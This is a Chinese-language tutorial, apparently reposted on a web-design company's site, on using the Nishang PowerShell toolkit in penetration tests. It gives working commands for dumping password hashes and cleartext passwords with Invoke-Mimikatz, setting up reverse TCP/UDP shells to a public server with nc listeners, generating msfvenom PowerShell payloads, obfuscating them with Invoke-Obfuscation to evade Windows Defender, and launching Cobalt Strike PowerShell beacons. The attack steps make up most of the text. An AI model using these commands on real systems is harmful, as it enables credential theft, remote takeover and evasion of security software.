PowerShell滲透測(cè)試?yán)鱊ishang怎么用

這篇文章主要介紹PowerShell滲透測(cè)試?yán)鱊ishang怎么用,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!

為師宗等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計(jì)制作服務(wù),及師宗網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、師宗網(wǎng)站設(shè)計(jì),以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達(dá)到每一位用戶的要求,就會(huì)得到認(rèn)可,從而選擇與我們長(zhǎng)期合作。這樣,我們也可以走得更遠(yuǎn)!

初始PowerShell,首先我們先來了解一下概念:PowerShell可以當(dāng)做是cmd(bat腳本語言)的升級(jí)版,它是Windows平臺(tái)上的腳本語言。是面向?qū)ο螅呛?.Net FrameWork 密切相關(guān)的。也可以認(rèn)為是Windows上的bash shell。Windows PowerShell 是一種命令行外殼程序和腳本環(huán)境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強(qiáng)大功能。它引入了許多非常有用的新概念,從而進(jìn)一步擴(kuò)展了您在 Windows 命令提示符和 Windows Host 環(huán)境中獲得的知識(shí)和創(chuàng)建的腳本。代碼運(yùn)行在內(nèi)存中可以不去接觸磁盤 很多安全產(chǎn)品并不能監(jiān)測(cè)到powershell的活動(dòng) cmd.exe通常被阻止運(yùn)行,但是powershell不會(huì)。其實(shí)我們?cè)跐B透測(cè)試過程中需要繞過一些防護(hù)軟件,除了繞過腳本或者其它的工具以外,PoweShell工具其實(shí)也是一個(gè)不錯(cuò)的選擇。比如,我們?cè)谀繕?biāo)主機(jī)上面用密碼抓取神奇mimikatz,這款由法國大牛寫的神奇相比大家都經(jīng)常用,最牛逼指出是可以直接從 lsass.exe 里獵取windows處于active狀態(tài)賬號(hào)明文密碼。但是如果免殺做的不好的話,也會(huì)直接被某免殺全家桶給直接pass。利用Powershell,攻擊者可以在無需接觸磁盤的情況下執(zhí)行命令。下面介紹幾款比較使用的工具:

Nishang簡(jiǎn)介

Nishang是基于PowerShell的滲透測(cè)試專用工具,它集成了腳本和各種payload,比如抓取密碼、端口掃描、提權(quán)等。這款工具小白在日常滲透測(cè)試中使用次數(shù)較多的一款工具。首先我們需要下載這個(gè)工具,下載的地址:https://github.com/samratashok/nishang, 下載完畢后我們可以看到以下工具里面都包括一些什么

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

下面我們通過特定的實(shí)驗(yàn)環(huán)境來演示一下滲透測(cè)試過程中常用的模塊,在演示之前需要說明幾個(gè)在運(yùn)行powershell工具時(shí)遇到的幾個(gè)比較常見的錯(cuò)誤,比如執(zhí)行腳本的權(quán)限問題、導(dǎo)入模塊的問題等。

Powershell在首次導(dǎo)入模塊的時(shí)候是不允許的,因?yàn)槟J(rèn)的策略是不允許的,這時(shí)候我們需要將執(zhí)行策略改為允許的,就是所謂的remotesigned。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

我們查詢一下當(dāng)前的執(zhí)行策略是什么,Restricted是不被允許執(zhí)行任何腳本的,即使你是管理員權(quán)限。我們需要修改權(quán)限,執(zhí)行命令:

Set-ExecutionPolicy remotesigned,我們?cè)俅尾樵儺?dāng)前的執(zhí)行策略的時(shí)候就是remotesigned可被允許的,再次導(dǎo)入腳本就會(huì)成功,出現(xiàn)的警告提示不用理會(huì)。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

執(zhí)行查看導(dǎo)入的模塊中的腳本信息:Get-Command -Module nishang

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

列出本機(jī)的信息: Get-Information

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

現(xiàn)在我們也把執(zhí)行權(quán)限修改了,下面就開始我們演示之旅吧。

密碼抓取來一波

當(dāng)我們拿到一臺(tái)服務(wù)器的時(shí)候,我們需要知道目標(biāo)主機(jī)是物理機(jī)還是虛機(jī),執(zhí)行命令:Check-VM

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

首先說明一下,nishang里面也集成了抓取密碼的腳本,先抓取一下hash值:

#Get-PassHashes //簡(jiǎn)單直接的抓取,并顯示在dos界面;

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}"    //獲取hash值并保存在自定義的文檔中。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

既然能抓取hash值,那我們也可以抓取明文密碼,我們先看一下抓取密碼的腳本,可以看出也是運(yùn)用了Mimikatz這個(gè)工具,只不過是加載了Powershell的腳本里面。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

我們可以用以下命令來獲取明文密碼:

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 嘗試直接抓取當(dāng)前系統(tǒng)用戶的明文密碼。(最常用的命令)

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

端口反彈搞一波

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

在滲透測(cè)試中我們?cè)谧龆丝谵D(zhuǎn)發(fā)的時(shí)候遇到一系列 的查殺全家桶,nc\lcx\sockes代理等時(shí)不時(shí)的被殺軟截胡。那么這個(gè)時(shí)候我們可以利用nishang中的端口轉(zhuǎn)發(fā)腳本進(jìn)行。這里除了介紹一下自帶的端口轉(zhuǎn)發(fā),還實(shí)驗(yàn)一下配合MSF進(jìn)行端口轉(zhuǎn)發(fā),都需要一臺(tái)公網(wǎng)服務(wù)器。

1、TCP端口轉(zhuǎn)發(fā)(反向連接)

公網(wǎng)服務(wù)器上面執(zhí)行監(jiān)聽命令:nc -lvp 5555

目標(biāo)主機(jī)執(zhí)行端口轉(zhuǎn)發(fā)命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555

這樣我們分別在目標(biāo)主機(jī)和公網(wǎng)上面執(zhí)行命令后,公網(wǎng)服務(wù)器就會(huì)反彈一個(gè)shell,這樣我們就可以執(zhí)行內(nèi)網(wǎng)服務(wù)器的命令。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

2、UDP端口轉(zhuǎn)發(fā)(反向連接)

公網(wǎng)服務(wù)器上面執(zhí)行監(jiān)聽命令:nc -lup 6666

目標(biāo)主機(jī)執(zhí)行端口轉(zhuǎn)發(fā)命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

除了反向連接,也有正向連接,本小白在滲透測(cè)試中經(jīng)常用到反向連接,如果大佬們對(duì)正向連接感興趣的話可以去搞一搞。好了我們現(xiàn)在利用powershell與MSF進(jìn)行端口轉(zhuǎn)發(fā),首先我們先利用命令查詢一下MSF中是否有powershell這個(gè)模塊:

##msfvenom -l payloads |grep ‘reverse_powershell   //查詢powershell模塊的位置。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

我們利用MSF生成一條反彈端口的一條命令:

##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r  //生成payload,類型是Powershell,標(biāo)紅的一段是需要在目標(biāo)主機(jī)上面執(zhí)行的命令。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

下一步我們?cè)谀繕?biāo)主機(jī)上面執(zhí)行剛才生成的一條powershell命令,在公網(wǎng)服務(wù)器監(jiān)聽9999端口。這樣我們就可以成功的將目標(biāo)主機(jī)的shell反彈到公網(wǎng)服務(wù)器上面。

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

我們也會(huì)這樣想我們?nèi)绾卧谀繕?biāo)主機(jī)上面利用混淆處理繞過Windows Defender,因?yàn)槲覀冊(cè)谏傻钠胀ǖ挠行лd荷會(huì)被Windows Defender進(jìn)行查殺的,所以我們需要繞過這個(gè)檢查的機(jī)制。我們就以上面的有效載荷為例子做混淆處理來繞過Windows Defender。有的時(shí)候我們將自己生成的普通的有效載荷直接在目標(biāo)主機(jī)上進(jìn)行運(yùn)行,可能被Windows Defender直接截胡,做混淆處理的工具當(dāng)屬Daniel Bohannon提供的Invoke-Obfuscation了。該項(xiàng)目的Github頁面可以找到。

首先我們先啟動(dòng)一下Invoke-Obfuscation這個(gè)工具:

Import-Module ./Invoke-Obfuscation.psd1   //導(dǎo)入Invoke-Obfuscation.psd1;

Invoke-Obfuscation    //啟動(dòng)Invoke-Obfuscation工具;

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

現(xiàn)在我們將剛才生成的端口轉(zhuǎn)發(fā)的有效載荷進(jìn)行做混淆處理,我們首先看一下各種混淆的處理方式的參數(shù):

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

有效載荷的哪些部分需要進(jìn)行混淆,我們必須提前規(guī)定好,可以通過以下命令完成:

Set scriptblock '有效載荷';

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

我們選擇將整個(gè)命令作為字符串進(jìn)行obfuse(具體選擇根據(jù)具體的滲透測(cè)試環(huán)境):

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

選擇1進(jìn)行ASCII混淆處理,我們輸入out 1.ps1進(jìn)行輸出查看,這個(gè)命令也相當(dāng)于將混淆完畢的文件保存在當(dāng)前目錄下,并以1.ps1:

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

在目標(biāo)主機(jī)上面進(jìn)行執(zhí)行此腳本,公網(wǎng)服務(wù)器監(jiān)聽9999端口,也可以成功的反彈內(nèi)網(wǎng)主機(jī)的shell:

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

powershell與cobaltstrike工具擦出不一樣的火花

Cobalt Strike 一款以Metasploit為基礎(chǔ)的GUI框架式滲透測(cè)試工具,集成了端口轉(zhuǎn)發(fā)、服務(wù)掃描,自動(dòng)化溢出,多模式端口監(jiān)聽,exe、powershell木馬生成等。這個(gè)工具也是一款內(nèi)網(wǎng)滲透的利器,我們這里只是說一下powershell與Cobalt Strike能夠碰觸怎樣的火花?

Cobalt Strike需要分別在客戶端和服務(wù)器端安裝,然后在啟動(dòng)此工具:

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

PowerShell滲透測(cè)試?yán)鱊ishang怎么用

首先我們先監(jiān)聽一個(gè)端口,主機(jī)地址寫公網(wǎng)IP地址,然后就會(huì)生成一個(gè)powershell命令,將此命令在目標(biāo)主機(jī)上面運(yùn)行,目標(biāo)主機(jī)就會(huì)上線,然后我們就可以遠(yuǎn)程抓取密碼、提權(quán)、監(jiān)聽等操作:

PowerShell滲透測(cè)試?yán)鱊ishang怎么用PowerShell滲透測(cè)試?yán)鱊ishang怎么用PowerShell滲透測(cè)試?yán)鱊ishang怎么用PowerShell滲透測(cè)試?yán)鱊ishang怎么用PowerShell滲透測(cè)試?yán)鱊ishang怎么用PowerShell滲透測(cè)試?yán)鱊ishang怎么用PowerShell滲透測(cè)試?yán)鱊ishang怎么用

說實(shí)話這是這兩個(gè)工具我在這里擦出的火花只是一點(diǎn)點(diǎn),其余的操作還有許多,有興趣的大佬可以去研究一下,這個(gè)工具在內(nèi)網(wǎng)滲透中運(yùn)用的比較多。

以上是“PowerShell滲透測(cè)試?yán)鱊ishang怎么用”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!

網(wǎng)頁題目:PowerShell滲透測(cè)試?yán)鱊ishang怎么用
文章鏈接:http://muchs.cn/article12/gphcgc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供靜態(tài)網(wǎng)站、企業(yè)網(wǎng)站制作網(wǎng)站設(shè)計(jì)、網(wǎng)站內(nèi)鏈、動(dòng)態(tài)網(wǎng)站、定制網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站建設(shè)網(wǎng)站維護(hù)公司